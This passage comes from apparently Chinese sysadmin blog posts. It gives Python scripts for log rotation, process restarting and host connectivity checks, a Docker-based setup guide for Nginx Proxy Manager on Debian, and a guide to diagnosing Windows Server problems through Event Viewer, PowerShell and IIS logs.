(log_file['age_days'] > days_threshold and not log_file['path'].endswith('.gz') and log_file['size_mb'] > 1): # 只压缩大于1MB的文件 try: original_size = log_file['size_mb'] with open(log_file['path'], 'rb') as f_in: with gzip.open(log_file['path'] + '.gz', 'wb') as f_out: shutil.copyfileobj(f_in, f_out) # 检查压缩文件是否创建成功 if os.path.exists(log_file['path'] + '.gz'): os.remove(log_file['path']) compressed_size = os.path.getsize(log_file['path'] + '.gz') / 1024 / 1024 print(f"压缩: {log_file['path']} " f"({original_size:.2f}MB -> {compressed_size:.2f}MB)") compressed_count += 1 saved_space += (original_size - compressed_size) except Exception as e: print(f"压缩失败 {log_file['path']}: {e}") print(f"\n压缩完成: {compressed_count} 个文件, 节省空间: {saved_space:.2f} MB") def clean_old_logs(self, days_threshold=30, dry_run=True): log_files = self.get_log_files_info() old_files = [f for f in log_files if f['age_days'] > days_threshold] if not old_files: print(f"没有找到超过 {days_threshold} 天的日志文件") return total_size = sum(f['size_mb'] for f in old_files) print(f"找到 {len(old_files)} 个超过 {days_threshold} 天的日志文件") print(f"总大小: {total_size:.2f} MB") if dry_run: print("\n预览模式 - 以下文件将被删除:") for log_file in old_files: print(f" {log_file['path']} ({log_file['size_mb']} MB, {log_file['age_days']} 天)") print(f"\n要实际删除这些文件，请设置 dry_run=False") else: deleted_count = 0 for log_file in old_files: try: os.remove(log_file['path']) print(f"删除: {log_file['path']}") deleted_count += 1 except Exception as e: print(f"删除失败 {log_file['path']}: {e}") print(f"\n删除完成: {deleted_count} 个文件, 释放空间: {total_size:.2f} MB") # 使用示例 if __name__ == "__main__": # 指定要管理的日志目录 log_dirs = ['/var/log', '/opt/app/logs', '/home/user/logs'] manager = LogManager(log_dirs) # 分析日志文件 manager.analyze_logs() print("\n" + "="*50) # 压缩7天前的日志 manager.compress_old_logs(days_threshold=7) print("\n" + "="*50) # 清理30天前的日志（预览模式） manager.clean_old_logs(days_threshold=30, dry_run=True)这个脚本功能比较全面，可以分析、压缩、清理日志文件。我一般会定期运行，特别是在磁盘空间不足的时候。4. 进程监控和自动重启有些服务偶尔会挂掉，这个脚本可以监控指定的进程，如果发现进程不存在就自动重启。#!/usr/bin/env python3 import psutil import subprocess import time import logging from datetime import datetime class ProcessMonitor: def __init__(self, config_file=None): self.processes = {} self.setup_logging() if config_file: self.load_config(config_file) def setup_logging(self): logging.basicConfig( level=logging.INFO, format='%(asctime)s - %(levelname)s - %(message)s', handlers=[ logging.FileHandler('/var/log/process_monitor.log'), logging.StreamHandler() ] ) self.logger = logging.getLogger(__name__) def add_process(self, name, command, check_interval=30): """添加要监控的进程""" self.processes[name] = { 'command': command, 'check_interval': check_interval, 'last_check': 0, 'restart_count': 0, 'last_restart': None } self.logger.info(f"添加监控进程: {name}") def is_process_running(self, process_name): """检查进程是否在运行""" for proc in psutil.process_iter(['pid', 'name', 'cmdline']): try: # 检查进程名或命令行中是否包含关键字 if (process_name.lower() in proc.info['name'].lower() or any(process_name.lower() in cmd.lower() for cmd in proc.info['cmdline'] if cmd)): return True, proc.info['pid'] except (psutil.NoSuchProcess, psutil.AccessDenied): continue return False, None def start_process(self, command): """启动进程""" try: # 使用shell执行命令 process = subprocess.Popen( command, shell=True, stdout=subprocess.PIPE, stderr=subprocess.PIPE ) return True, process.pid except Exception as e: return False, str(e) def restart_process(self, name, process_info): """重启进程""" self.logger.warning(f"进程 {name} 未运行，尝试重启...") success, result = self.start_process(process_info['command']) if success: process_info['restart_count'] += 1 process_info['last_restart'] = datetime.now() self.logger.info(f"进程 {name} 重启成功，PID: {result}") return True else: self.logger.error(f"进程 {name} 重启失败: {result}") return False def check_process(self, name, process_info): """检查单个进程""" current_time = time.time() # 检查是否到了检查时间 if current_time - process_info['last_check'] < process_info['check_interval']: return process_info['last_check'] = current_time is_running, pid = self.is_process_running(name) if is_running: self.logger.debug(f"进程 {name} 正在运行，PID: {pid}") else: # 进程未运行，尝试重启 self.restart_process(name, process_info) def get_status_report(self): """获取监控状态报告""" report = [] report.append(f"进程监控状态报告 - {datetime.now().strftime('%Y-%m-%d %H:%M:%S')}") report.append("=" * 60) for name, info in self.processes.items(): is_running, pid = self.is_process_running(name) status = "运行中" if is_running else "未运行" report.append(f"进程名: {name}") report.append(f" 状态: {status}") if is_running: report.append(f" PID: {pid}") report.append(f" 重启次数: {info['restart_count']}") if info['last_restart']: report.append(f" 最后重启: {info['last_restart'].strftime('%Y-%m-%d %H:%M:%S')}") report.append(f" 检查间隔: {info['check_interval']}秒") report.append("") return "\n".join(report) def monitor_loop(self): """主监控循环""" self.logger.info("进程监控器启动") try: while True: for name, process_info in self.processes.items(): self.check_process(name, process_info) time.sleep(5) # 主循环间隔 except KeyboardInterrupt: self.logger.info("收到停止信号，退出监控") except Exception as e: self.logger.error(f"监控循环出错: {e}") # 使用示例 if __name__ == "__main__": monitor = ProcessMonitor() # 添加要监控的进程 monitor.add_process("nginx", "systemctl start nginx", check_interval=60) monitor.add_process("mysql", "systemctl start mysql", check_interval=30) monitor.add_process("redis", "systemctl start redis-server", check_interval=45) # 也可以监控自定义应用 monitor.add_process("myapp", "/opt/myapp/start.sh", check_interval=30) # 打印初始状态 print(monitor.get_status_report()) # 开始监控 monitor.monitor_loop()这个脚本我在生产环境用过，效果还不错。不过要注意权限问题，有些系统服务需要root权限才能重启。5. 网络连通性批量检测网络问题是运维中经常遇到的，这个脚本可以批量检测多个主机的网络连通性，包括ping和端口检测。#!/usr/bin/env python3 import subprocess import socket import threading import time from concurrent.futures import ThreadPoolExecutor, as_completed class NetworkChecker: def __init__(self): self.results = {} def ping_host(self, host, count=3, timeout=5): """Ping检测""" try: cmd = f"ping -c {count} -W {timeout} {host}" result = subprocess.run(cmd, shell=True, capture_output=True, text=True) if result.returncode == 0: # 解析ping结果 lines = result.stdout.split('\n') for line in lines: if 'packet loss' in line: loss_info = line.strip() elif 'min/avg/max' in line: time_info = line.strip() return { 'status': 'success', 'packet_loss': loss_info if 'loss_info' in locals() else 'unknown', 'timing': time_info if 'time_info' in locals() else 'unknown' } else: return { 'status': 'failed', 'error': result.stderr.strip() or 'ping failed' } except Exception as e: return { 'status': 'error', 'error': str(e) } def check_port(self, host, port, timeout=10): """端口连通性检测""" try: sock = socket.socket(socket.AF_INET, socket.SOCK_STREAM) sock.settimeout(timeout) start_time = time.time() result = sock.connect_ex((host, port)) end_time = time.time() sock.close() if result == 0: return { 'status': 'open', 'response_time': round((end_time - start_time) * 1000, 2) } else: return { 'status': 'closed', 'error': f'Connection failed (code: {result})' } except socket.gaierror as e: return { 'status': 'error', 'error': f'DNS resolution failed: {e}' } except Exception as e: return { 'status': 'error', 'error': str(e) } def comprehensive_check(self, host, ports=None): """综合检测单个主机""" if ports is None: ports = [22, 80, 443, 3306, 6379] # 常用端口 result = { 'host': host, 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S'), 'ping': self.ping_host(host), 'ports': {} } # 只有ping通了才检测端口 if result['ping']['status'] == 'success': for port in ports: result['ports'][port] = self.check_port(host, port) return result def batch_check(self, hosts, ports=None, max_workers=20): """批量检测多个主机""" results = [] with ThreadPoolExecutor(max_workers=max_workers) as executor: # 提交所有任务 future_to_host = { executor.submit(self.comprehensive_check, host, ports): host for host in hosts } # 收集结果 for future in as_completed(future_to_host): host = future_to_host[future] try: result = future.result() results.append(result) print(f"✅ 完成检测: {host}") except Exception as e: print(f"❌ 检测失败: {host} - {e}") results.append({ 'host': host, 'error': str(e), 'timestamp': time.strftime('%Y-%m-%d %H:%M:%S') }) return results def generate_report(self, results): """生成检测报告""" print("\n" + "="*80) print("网络连通性检测报告") print("="*80) total_hosts = len(results) ping_success = 0 for result in results: print(f"\n主机: {result['host']}") print(f"检测时间: {result['timestamp']}") if 'error' in result: print(f"❌ 检测出错: {result['error']}") continue # Ping结果 ping_result = result['ping'] if ping_result['status'] == 'success': print(f"✅ Ping: 成功") if 'packet_loss' in ping_result: print(f" 丢包率: {ping_result['packet_loss']}") if 'timing' in ping_result: print(f" 延迟: {ping_result['timing']}") ping_success += 1 else: print(f"❌ Ping: 失败 - {ping_result.get('error', 'unknown error')}") continue # 端口检测结果 if 'ports' in result and result['ports']: print(" 端口检测:") for port, port_result in result['ports'].items(): if port_result['status'] == 'open': response_time = port_result.get('response_time', 'unknown') print(f" {port}: ✅ 开放 ({response_time}ms)") elif port_result['status'] == 'closed': print(f" {port}: ❌ 关闭") else: print(f" {port}: ⚠️ 错误 - {port_result.get('error', 'unknown')}") print(f"\n总结:") print(f"总主机数: {total_hosts}") print(f"Ping成功: {ping_success}") print(f"Ping失败: {total_hosts - ping_success}") print(f"成功率: {(ping_success/total_hosts*100):.1f}%") # 使用示例 if __name__ == "__main__": checker = NetworkChecker() # 定义要检测的主机列表 hosts = [ '8.8.8.8', '114.114.114.114', 'www.baidu.com', 'www.google.com', '192.168.1.1', '10.0.0.1' ] # 定义要检测的端口 ports = [22, 80, 443, 53, 8080] print("开始网络连通性检测...") results = checker.batch_check(hosts, ports) # 生成报告 checker.generate_report(results)这个脚本在排查网络问题的时候特别有用，可以快速定位是哪台机器或者哪个端口有问题。如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
告别命令行配置地狱！这个可视化反向代理神器让运维工作轻松10倍
最近在公司搭建测试环境的时候，又遇到了老问题——需要给十几个不同的服务配置反向代理。按照以前的做法，就是在nginx配置文件里一个个写server块，改完还得测试语法，重载服务...光是想想就头疼。正好前段时间在GitHub上看到了Nginx Proxy Manager这个项目，说是可以通过Web界面管理nginx反向代理配置。我想着反正也要重新搭环境，不如试试这个工具到底好不好用。用了一段时间后，我只能说——真香！今天就来跟大家分享一下这个让我彻底告别nginx配置文件的神器。什么是Nginx Proxy Manager官网地址：https://nginxproxymanager.com/简单来说，Nginx Proxy Manager就是给nginx套了个漂亮的Web管理界面。你不用再去编辑那些复杂的配置文件，所有的反向代理、SSL证书、访问控制都可以在浏览器里点点鼠标就搞定。这个项目是基于nginx的，但是把所有复杂的配置都封装起来了。你只需要在Web界面里填写源地址、目标地址，它就会自动生成对应的nginx配置。而且还支持自动申请Let's Encrypt证书，这个功能真的太实用了。我记得以前每次配置SSL证书都要折腾半天，现在点几下鼠标就能搞定，效率提升不是一点半点。在Debian 13上安装部署我这次用的是Debian 13系统，整个安装过程还算顺利。不过中间也踩了几个坑，一会儿会详细说。准备工作首先确保系统是最新的：sudo apt update && sudo apt upgrade -y然后安装Docker和Docker Compose，因为Nginx Proxy Manager官方推荐用Docker部署：# 安装必要的包 sudo apt install apt-transport-https ca-certificates curl gnupg lsb-release -y # 添加Docker官方GPG密钥 curl -fsSL https://download.docker.com/linux/debian/gpg | sudo gpg --dearmor -o /usr/share/keyrings/docker-archive-keyring.gpg # 添加Docker仓库 echo "deb [arch=amd64 signed-by=/usr/share/keyrings/docker-archive-keyring.gpg] https://download.docker.com/linux/debian $(lsb_release -cs) stable" | sudo tee /etc/apt/sources.list.d/docker.list > /dev/null # 安装Docker sudo apt update sudo apt install docker-ce docker-ce-cli containerd.io -y # 安装Docker Compose sudo curl -L "https://github.com/docker/compose/releases/latest/download/docker-compose-$(uname -s)-$(uname -m)" -o /usr/local/bin/docker-compose sudo chmod +x /usr/local/bin/docker-compose安装完成后记得把当前用户加到docker组里，这样就不用每次都sudo了：sudo usermod -aG docker $USER这里需要重新登录一下才能生效。创建Docker Compose配置我在/opt目录下创建了一个专门的文件夹来存放配置：sudo mkdir -p /opt/nginx-proxy-manager cd /opt/nginx-proxy-manager然后创建docker-compose.yml文件：cat <<eof>docker-compose.yml services: app: image: 'jc21/nginx-proxy-manager:latest' restart: unless-stopped ports: - '80:80' - '81:81' - '443:443' volumes: - ./data:/data - ./letsencrypt:/etc/letsencrypt eof这个配置文件里有几个要注意的地方。端口81是管理界面的端口，80和443是实际提供服务的端口。数据库我用的是MariaDB，密码什么的在生产环境记得改成复杂一点的。启动服务配置文件准备好后就可以启动了：sudo docker-compose up -d第一次启动会下载镜像，可能需要等一会儿。启动完成后可以检查一下容器状态：sudo docker-compose ps如果看到容器都是Up状态就说明启动成功了。初始配置和基本使用服务启动后，打开浏览器访问 http://你的服务器IP:81 就能看到登录界面了。默认的管理员账号是：邮箱：admin@example.com密码：changeme第一次登录会强制要求修改邮箱和密码，这个安全措施还是很贴心的。界面介绍登录后的界面还是很清爽的，主要分为几个部分：Dashboard：总览页面，能看到所有代理主机的状态Proxy Hosts：反向代理配置Redirection Hosts：重定向配置Streams：TCP/UDP流代理404 Hosts：404页面配置Access Lists：访问控制列表SSL Certificates：SSL证书管理最常用的就是Proxy Hosts这个功能了。创建第一个反向代理我先拿公司的一个内部系统来测试。这个系统跑在8080端口，我想通过域名访问，并且自动配置HTTPS。点击"Proxy Hosts"，然后点"Add Proxy Host"，会弹出配置窗口：Details标签页：Domain Names：填写你的域名，比如 app.example.comScheme：选择http或https，这里是指后端服务的协议Forward Hostname/IP：后端服务的地址，可以是IP或域名Forward Port：后端服务端口Cache Assets：是否缓存静态资源Block Common Exploits：是否阻止常见攻击Websockets Support：是否支持WebSocketSSL标签页：SSL Certificate：可以选择已有证书或者申请新的Let's Encrypt证书Force SSL：强制HTTPSHTTP/2 Support：启用HTTP/2HSTS Enabled：启用HSTS安全头我这里选择了"Request a new SSL Certificate"，填写邮箱地址，勾选同意条款，点击保存。等了大概30秒，证书就自动申请好了！这个速度比我手动用certbot快多了。实际使用场景和技巧多环境管理我们公司有开发、测试、预发布几个环境，每个环境都有十几个微服务。以前都是在nginx配置文件里写一大堆server块，维护起来特别麻烦。现在用Nginx Proxy Manager，每个服务就是一个Proxy Host，需要修改的时候直接在界面上改就行了。而且还能很直观地看到每个服务的状态，哪个服务挂了一眼就能看出来。SSL证书管理这个功能真的是解决了我的一个大痛点。以前管理SSL证书要记住每个证书的过期时间，定期手动续期。现在Let's Encrypt证书会自动续期，再也不用担心证书过期导致服务不可用了。而且支持通配符证书，一个*.example.com的证书就能覆盖所有子域名。访问控制Access Lists功能可以设置IP白名单或黑名单，对于一些内部系统的访问控制很有用。我给测试环境设置了IP白名单，只允许公司内网访问。配置也很简单，创建一个Access List，添加允许的IP段，然后在Proxy Host里关联就行了。流量代理除了HTTP代理，还支持TCP和UDP的流量代理。我用这个功能代理了MySQL和Redis的连接，效果还不错。不过这个功能相对简单一些，没有HTTP代理那么多高级选项。踩过的坑和解决方案使用过程中也遇到了一些问题，记录一下避免大家重复踩坑。端口冲突问题刚开始部署的时候，发现80端口启动失败。检查后发现系统里已经有apache在跑了。解决方法就是先停掉apache：sudo systemctl stop apache2 sudo systemctl disable apache2或者修改docker-compose.yml里的端口映射，比如改成8080:80。证书申请失败有几次Let's Encrypt证书申请失败，错误信息显示域名验证不通过。这个问题通常是DNS解析的问题。Let's Encrypt需要通过HTTP-01或DNS-01方式验证域名所有权，如果域名还没有解析到服务器IP，验证就会失败。解决方法是先确保域名正确解析，然后再申请证书。与传统nginx配置的对比用了这么长时间，我觉得Nginx Proxy Manager相比传统的nginx配置有明显的优势。优势：可视化管理，不需要记忆复杂的nginx语法自动SSL证书申请和续期，省心省力配置修改实时生效，不需要手动reload内置访问控制和安全防护支持配置备份和恢复劣势：灵活性相对较低，一些复杂的nginx配置可能无法实现多了一层抽象，出问题时排查可能更复杂资源占用相对较高（因为包含了数据库和Web界面）总的来说，对于大部分常见的反向代理需求，Nginx Proxy Manager都能很好地满足。只有在一些特别复杂的场景下，可能还是需要直接配置nginx。安全注意事项虽然Nginx Proxy Manager简化了配置，但安全方面还是不能马虎。管理界面安全管理界面默认在81端口，建议：修改默认端口，避免被扫描到设置复杂的管理员密码如果可能，只允许内网访问管理界面定期备份配置数据SSL配置虽然可以自动申请证书，但还是要注意：启用HSTS，防止降级攻击禁用不安全的SSL协议版本定期检查证书状态，虽然会自动续期但偶尔也会失败对于敏感应用，考虑使用EV证书而不是DV证书访问控制合理使用Access Lists功能：# 可以在Advanced配置中添加更细粒度的控制 allow 192.168.1.0/24; allow 10.0.0.0/8; deny all;我在生产环境中给管理后台都加了IP白名单，只允许办公网络访问。日志监控Nginx Proxy Manager的日志可以通过docker logs查看：sudo docker-compose logs -f app建议配置日志轮转，避免日志文件过大：# 在docker-compose.yml中添加日志配置 logging: driver: "json-file" options: max-size: "10m" max-file: "3"扩展和集成Nginx Proxy Manager还可以和其他工具集成，实现更强大的功能。与Docker Swarm集成如果你用Docker Swarm管理容器集群，可以配置Nginx Proxy Manager自动发现新的服务：version: '3.8' services: nginx-proxy-manager: image: jc21/nginx-proxy-manager:latest ports: - "80:80" - "443:443" - "81:81" volumes: - /var/run/docker.sock:/var/run/docker.sock:ro deploy: placement: constraints: [node.role == manager]API自动化Nginx Proxy Manager提供了REST API，可以通过脚本自动化管理：# 获取访问token TOKEN=$(curl -s -X POST http://localhost:81/api/tokens \ -H "Content-Type: application/json" \ -d '{"identity": "admin@example.com", "password": "your_password"}' | jq -r '.token') # 创建新的代理主机 curl -X POST http://localhost:81/api/nginx/proxy-hosts \ -H "Authorization: Bearer $TOKEN" \ -H "Content-Type: application/json" \ -d '{ "domain_names": ["api.example.com"], "forward_host": "192.168.1.100", "forward_port": 8080, "forward_scheme": "http", "certificate_id": 1, "ssl_forced": true }'这个功能在CI/CD流程中特别有用，可以在部署新服务时自动配置反向代理。与Kubernetes集成虽然Kubernetes有自己的Ingress Controller，但在一些混合环境中，Nginx Proxy Manager也能发挥作用。我在一个项目中就是用Nginx Proxy Manager作为外部负载均衡器，将流量分发到不同的Kubernetes集群。未来发展和替代方案Nginx Proxy Manager虽然好用，但也不是万能的。在一些场景下可能需要考虑其他方案。替代方案Traefik： 更适合容器化环境，支持自动服务发现HAProxy： 性能更好，但配置相对复杂Cloudflare Tunnel： 适合需要穿透NAT的场景Kong： 功能更强大的API网关选择建议如果主要是简单的HTTP反向代理，Nginx Proxy Manager是很好的选择如果需要复杂的负载均衡算法，考虑HAProxy如果是微服务架构，Traefik可能更合适如果需要API管理功能，Kong是不错的选择我觉得工具没有绝对的好坏，关键是要适合自己的使用场景。写在最后Nginx Proxy Manager整体感受还是很不错的。特别是对于中小型团队来说，能够显著提升运维效率。最大的优点就是简单易用，基本上不需要学习成本，会用浏览器就能配置反向代理。自动SSL证书申请这个功能真的是太实用了，再也不用担心证书过期的问题。当然也有一些不足，比如在一些复杂场景下灵活性不够，但对于大部分常见需求都能很好地满足。如果你也在为nginx配置文件头疼，不妨试试这个工具。相信我，用过之后你就回不去了。最后提醒一下，虽然工具简化了操作，但安全意识不能放松。该做的备份、监控、访问控制一样都不能少。好了，今天的分享就到这里。如果你在使用过程中遇到什么问题，欢迎在评论区交流讨论。觉得这篇文章对你有帮助的话，别忘了点赞转发支持一下！如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
Windows服务器出问题？别慌！教你几招日志排查绝技，让故障无处遁形
最近客户遇到windows服务器出问题了一时半会不知道怎么办？出问题最好的办法就是看日志，但是我平常分享的都是linux系统的排查，今天就来盘盘windows服务器的！我记得刚入行那会儿，遇到服务器问题就是一顿乱操作，重启、重装，能折腾的都折腾一遍（重启能解决90%的问题）。后来被师傅骂了好几次才明白，日志才是解决问题的关键。今天就跟大家分享一下Windows Server环境下如何查看和排查日志，这些都是我这些年踩坑总结出来的经验。事件查看器 - 你的第一站Windows的事件查看器就像是服务器的"黑匣子"，记录着系统运行的方方面面。打开方式很简单，Win+R输入eventvwr.msc就行，或者在服务器管理器里也能找到。进去之后你会看到左边有个树状结构，主要分为几个大类：Windows日志这块是重点关注的地方。应用程序日志记录的是各种软件的运行情况，我经常在这里找到数据库连接失败、Web服务异常之类的问题。系统日志更多是硬件和系统级别的事件，比如磁盘错误、内存问题等等。安全日志这个就比较有意思了，记录着登录失败、权限变更这些敏感操作。有一次我们服务器被人暴力破解密码，就是通过安全日志发现的，里面密密麻麻全是登录失败的记录，IP地址还都是国外的。应用程序和服务日志这里面的内容就更丰富了，各种角色和功能都有自己的日志。比如你装了IIS，就会有IIS相关的日志；装了SQL Server，也会有对应的日志分类。看日志的时候要注意几个关键信息：时间、事件ID、来源、级别。级别分为信息、警告、错误、严重错误几种，一般我们重点关注警告和错误级别的事件。事件ID这个东西特别有用，每种错误都有固定的ID，你可以直接拿这个ID去微软官网搜索，基本都能找到详细的解释和解决方案。比如事件ID 1074表示系统重启，6005表示事件日志服务启动，这些都是有规律可循的。还可以通过事件id来查日志信息：Windows 服务器常见事件 ID 列表类别事件 ID描述系统事件1系统时间已更改 6系统启动 7系统关闭 12操作系统启动 13操作系统关闭 41系统崩溃重启 1074系统关机/重启安全事件4624账户成功登录 4625账户登录失败 4634账户注销 4648显式凭据登录 4672使用特权登录 4720创建用户账户 4724重置密码尝试 4725禁用用户账户 4728将成员添加到安全组 4732将成员添加到本地安全组 4740用户账户被锁定 4776域控制器尝试验证账户凭据应用程序事件1000应用程序错误 1001Windows 错误报告 1002应用程序挂起 1005应用程序终止服务事件7000服务无法启动 7009服务超时 7022服务正常启动 7023服务异常终止 7024服务无法启动 7031服务尝试重启 7034服务意外终止 7035服务发送控制 7036服务状态改变Active Directory 事件1644目录服务无法分配相对标识符 2886目录服务暂停 2887目录服务已恢复 5137目录服务对象创建 5141目录服务对象删除DNS 服务器事件4013DNS 服务器启动 4015DNS 服务器暂停 6702DNS 事件文件复制服务13508文件复制服务无法与主域控制器建立会话 13509文件复制服务成功与主域控制器建立会话磁盘和存储事件51磁盘错误 55文件系统结构损坏 7设备驱动程序错误PowerShell - 命令行的威力虽然图形界面看起来直观，但有时候用PowerShell查日志效率更高，特别是需要筛选大量数据的时候。Get-EventLog这个命令是基础中的基础：Get-EventLog -LogName System -Newest 100这样就能看到系统日志的最新100条记录。如果你想看特定时间段的日志：Get-EventLog -LogName Application -After "2024-01-01" -Before "2024-01-02"更强大的是Get-WinEvent命令，功能比Get-EventLog丰富多了：Get-WinEvent -FilterHashtable @{LogName='System'; Level=2,3}这里Level=2表示错误，Level=3表示警告，这样就只显示有问题的事件，不用在一堆信息级别的日志里翻来翻去。有时候我需要查找包含特定关键词的日志：Get-WinEvent -FilterHashtable @{LogName='Application'} | Where-Object {$_.Message -like "*SQL*"}这样就能找到所有消息中包含"SQL"的事件，对于定位特定应用的问题很有帮助。IIS日志 - Web服务的秘密如果你的服务器跑着Web服务（一般用windows服务器都会跑这个服务吧！），IIS日志绝对是排查问题的重要工具。默认情况下，IIS日志存放在C:\inetpub\logs\LogFiles目录下。IIS日志的格式一般是W3C扩展格式，看起来像这样：2024-01-15 10:30:25 192.168.1.100 GET /api/users - 80 - 192.168.1.200 Mozilla/5.0... 200 0 0 1250这里面包含了访问时间、客户端IP、请求方法、URL、状态码、响应时间等信息。状态码是重点关注的，200表示正常，404是找不到页面，500是服务器内部错误。我经常用一些工具来分析IIS日志，比如Log Parser Studio，可以用SQL语句来查询日志：SELECT TOP 10 cs-uri-stem, COUNT(*) as hits FROM [logfile] WHERE sc-status >= 400 GROUP BY cs-uri-stem ORDER BY hits DESC这样就能找出错误最多的页面，对于定位问题很有帮助。当然，如果你喜欢用PowerShell，也可以这样分析：Import-Csv "C:\inetpub\logs\LogFiles\W3SVC1\u_ex240115.log" -Delimiter " " | Where-Object {$_."sc-status" -ge 400} | Group-Object "cs-uri-stem" | Sort-Object Count -Descending性能监视器 - 系统健康的体检报告除了事件日志，性能监视器也是个好东西。虽然它主要是监控性能指标，但也会记录一些日志信息。打开perfmon.msc，你可以看到实时的性能数据，也可以创建数据收集器集来长期监控系统状态。我一般会关注几个关键指标：CPU使用率持续过高可能表示有程序占用过多资源；内存使用率如果接近100%，系统就会开始使用虚拟内存，性能会明显下降；磁盘队列长度如果经常大于2，说明磁盘IO成为瓶颈了。有一次我们的Web服务响应特别慢，通过性能监视器发现磁盘队列长度经常超过10，后来查到是数据库日志文件和数据文件放在同一个磁盘上，IO冲突导致的。应用程序特定日志不同的应用程序都有自己的日志记录方式，这些也不能忽视。SQL Server的日志一般在SQL Server Management Studio里查看，也可以直接看文件，通常在SQL Server安装目录的Log文件夹下。SQL Server的错误日志记录着数据库启动、连接、查询错误等信息，对于数据库问题排查很重要。.NET应用程序如果没有特殊配置，一般会把日志写到事件查看器的应用程序日志中。但很多应用会使用NLog、Log4Net这些日志框架，把日志写到自定义的文件里。自定义应用程序的日志位置就五花八门了，有的放在程序目录下，有的放在ProgramData文件夹，还有的直接写数据库。这就需要你了解具体应用的日志配置了。日志分析的一些技巧看日志不是简单的从头看到尾，需要一些技巧。时间关联是最重要的，当用户报告某个时间点出现问题时，你要在各个日志中找到对应时间段的记录，看看系统、应用、网络各个层面发生了什么。关键词搜索也很有用，比如"error"、"exception"、"failed"、"timeout"这些词汇经常出现在问题相关的日志中。模式识别需要一定经验，比如看到大量的登录失败记录，可能是暴力破解攻击；看到内存不足的警告后紧跟着应用程序崩溃，基本可以确定是内存问题。有时候问题不是单一原因造成的，需要综合分析多个日志源。我遇到过一次奇怪的问题，Web应用偶尔会卡死，单看应用日志没发现异常，后来结合系统日志发现是网卡驱动有问题，偶尔会丢包，导致数据库连接超时。日志级别的理解也很关键。信息级别的日志通常记录正常操作，比如服务启动、用户登录成功等；警告级别表示有潜在问题但不影响正常运行；错误级别就是明确的问题了，需要重点关注；严重错误通常意味着系统或服务即将崩溃。我习惯先看错误和严重错误，再看警告，最后才看信息。这样能快速定位到问题的核心。常见问题的日志特征经过这么多年的运维经验，我总结了一些常见问题在日志中的表现特征。内存不足通常会在系统日志中看到事件ID 2004（资源不足）或者1001（Windows错误报告），应用程序日志中可能会有OutOfMemoryException相关的错误。磁盘空间不足会产生事件ID 2013（磁盘空间不足警告）或者55（文件系统错误），这时候应用程序可能会出现各种奇怪的问题。网络连接问题在系统日志中可能看到事件ID 4201（网络适配器连接丢失）或者DNS解析失败的错误，应用程序日志中会有连接超时、无法连接到远程服务器之类的错误。权限问题通常在安全日志中有记录，事件ID 4625表示登录失败，4648表示使用显式凭据登录，这些都可能与权限相关。服务启动失败会在系统日志中产生事件ID 7000系列的错误，具体的错误信息通常会指出是什么原因导致服务无法启动。故障排查的实战案例说了这么多理论，来个实际案例吧。前段时间我们有个客户的Web应用突然变得很慢，用户投诉不断。我按照惯例开始查日志：首先看IIS日志，发现响应时间确实比平时长很多，而且有不少500错误。然后看应用程序日志，发现大量的数据库连接超时错误。接着查看SQL Server日志，发现数据库本身没什么异常，但是有一些死锁的记录。再看系统日志，发现磁盘IO等待时间异常高。最后通过性能监视器确认，磁盘队列长度经常超过10，平均响应时间也比正常情况高出好几倍。问题定位到了磁盘IO，进一步检查发现是数据库的事务日志文件增长过快，而且没有定期备份和截断，导致磁盘空间紧张，IO性能下降。解决方案就是立即备份事务日志，释放空间，然后调整数据库的备份策略，避免类似问题再次发生。整个排查过程用了不到一个小时，如果没有日志的帮助，可能要花好几倍的时间才能找到根本原因。监控和告警的重要性被动地查看日志效率不高，更好的做法是建立主动的监控和告警机制。Windows Performance Toolkit中的工具可以帮助建立性能基线，当系统偏离正常范围时及时告警。SCOM（System Center Operations Manager）是微软的企业级监控解决方案，可以监控整个Windows环境，包括服务器、应用程序、网络设备等。对于中小型环境，PRTG或者Zabbix这些开源工具也是不错的选择。我之前用过Zabbix监控Windows服务器，配置相对简单，而且免费。关键是要设置合理的告警阈值。我见过有些环境告警设置得太敏感，一天能收到几十条告警邮件，最后管理员都麻木了，真正的问题反而被忽略。比如CPU使用率告警，我一般设置为连续5分钟超过80%才告警，偶尔的峰值是正常的。内存使用率可以设置为超过90%告警，磁盘空间剩余不足10%时告警。写在最后Windows服务器的日志排查是个系统性工程，需要掌握多种工具和技巧。从基础的事件查看器到高级的PowerShell命令，从单机日志分析到分布式日志管理，每个层面都有其价值。关键是要养成良好的习惯：遇到问题先看日志，定期检查系统状态，建立合理的监控告警机制。日志不会说谎，每个问题都会在某个地方留下痕迹，耐心分析总能找到答案。现在的IT环境越来越复杂，微服务、容器、云原生这些新技术带来了新的挑战，但日志分析的基本思路是不变的：收集、存储、分析、告警。掌握了这些基础技能，不管技术怎么发展，你都能游刃有余。记住，成为日志分析专家不是一朝一夕的事情，需要在实践中不断积累经验。每次排查问题后都要总结，建立自己的知识库，这样遇到类似问题时就能快速解决。希望这篇文章对大家有帮助，如果你觉得有用的话，别忘了点个赞转发一下。有什么问题或者想法，也欢迎在评论区交流讨论！如果这篇文章对你有帮助，别忘了点赞转发支持一下！想了解更多运维实战经验和技术干货，记得关注微信公众号@运维躬行录，领取学习大礼包！！！我会持续分享更多接地气的运维知识和踩坑经验。让我们一起在运维这条路上互相学习，共同进步！公众号：运维躬行录个人博客：躬行笔记
